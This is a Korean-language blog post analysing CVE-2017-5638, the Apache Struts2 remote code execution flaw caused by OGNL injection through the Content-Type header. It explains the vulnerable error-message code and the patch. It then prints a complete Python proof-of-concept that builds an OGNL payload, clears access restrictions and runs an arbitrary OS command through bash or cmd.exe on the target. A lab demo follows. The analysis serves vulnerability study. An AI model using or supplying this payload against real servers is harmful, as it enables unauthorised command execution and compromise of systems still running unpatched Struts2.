본문 바로가기
연구

[CVE-2017-5638] Apache Struts2 RCE 분석

by jskimm 2022. 1. 10.
728x90

Description

It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.

Apache Struts2는 파일 업로드 시 Jarkarta 플러그인의 Multipart Parser 를 사용합니다. 만약 정상적인 Content-type에 정상적인 값이 아닌 malicious한 값을 보냈을 경우 사용자에게 에러 메시지를 주기 위한 예외 처리가 진행 되는데요. 취약점은 이 에러 메시지를 주는 과정에서 발생합니다. 

OGNL은, Struts2 에서 사용하는 Java의 Open-Source Expression Language(EL)입니다. SQL 과 마찬가지로 사용자가 임의의 코드를 주입할 수 있게 되면 공격자가 시스템 변수에 접근하고 임의 코드를 실행하거나 수정할 수 있습니다(!)

바로 이 OGNL을 Content-Type에 주입해 원하는 코드를 실행시킬 수 있는데요. Content-Type 이외에도 Content-Length, Content-Disposition 에도 같은 원인의 취약점이 발생한다고 밝혀진 바 있습니다.

+) S2-046에 따르면 upload하는 Filename 파라미터에도 같은 취약점이 존재합니다.
https://cwiki.apache.org/confluence/display/WW/S2-046


Proof of Concept

빨간 줄이 취약점이 발생한 코드, 초록색이 패치된 코드입니다. 현재는 e.getMessage()를 null로 바꿔줌으로써 에러메시지에서 OGNL이 해석되지 않도록 취약점을 패치했네요.

 위 코드는 Content-type이 multipart/form-data인 경우 exception이 발생했을 때, 에러메세지를 반환하기 위한 코드입니다. e.getMessage() 를 인자로 localizedTextUtil.findText()반환합니다.

 

그래서 localizedTextUtil.findText() 함수에 대해 찾아 보았습니다.

읽어보면 아래 문단에

if a message is found, it will also be interpolated. Anything within ${...} will be treated as an OGNL expression and evaluated as such.

라는 글귀가 있는데, 인자 값 ${...}내에 있는 모든 부분은 OGNL으로 처리된다고 합니다.

 

Content-type에 OGNL 변수를 활용( ${..} or %{..} )하여 OGNL을 주입 한다면, 주입된 OGNL로 인해 jakarta 내부에서 예외(Exception)가 발생할 것이고 에러 메시지를 localize하는 도중에 OGNL이 실행되겠죠? 이 때, OGNL에 OS 명령어를 실행하는 OGNL 코드가 있다면 원격 코드 실행이 가능합니다.

 

아래 링크는 위 이론을 바탕으로 짠 PoC 스크립트입니다.

#!/usr/bin/python
def exploit(url, cmd):
 payload = "%{(#_='multipart/form-data')."
 payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
 payload += "(#_memberAccess?"
 payload += "(#_memberAccess=#dm):"
 payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
 payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
 payload += "(#ognlUtil.getExcludedPackageNames().clear())."
 payload += "(#ognlUtil.getExcludedClasses().clear())."
 payload += "(#context.setMemberAccess(#dm))))."
 payload += "(#cmd='%s')." % cmd
 payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
 payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
 payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
 payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
 payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
 payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
 payload += "(#ros.flush())}"

 try:
  headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
  request = urllib2.Request(url, headers=headers)
  page = urllib2.urlopen(request).read()
 except httplib.IncompleteRead, e:
  page = e.partial

 print(page)
 return page

Demo

테스트를 위해 Tomcat 서버를 구축했습니다. 서버의 환경은 다음과 같습니다.
 - Ubuntu Server 16.04
 - Tomcat 7
 - Apache Struts2 showcase 2.3.12
 - java 1.8.0_121

 

이제 취약한 서버를 exploit 해봅시다.

성공!

728x90

'연구' 카테고리의 다른 글

Introduction to Glitching Attack, 글리칭 어택이란?  (1) 2022.01.10

댓글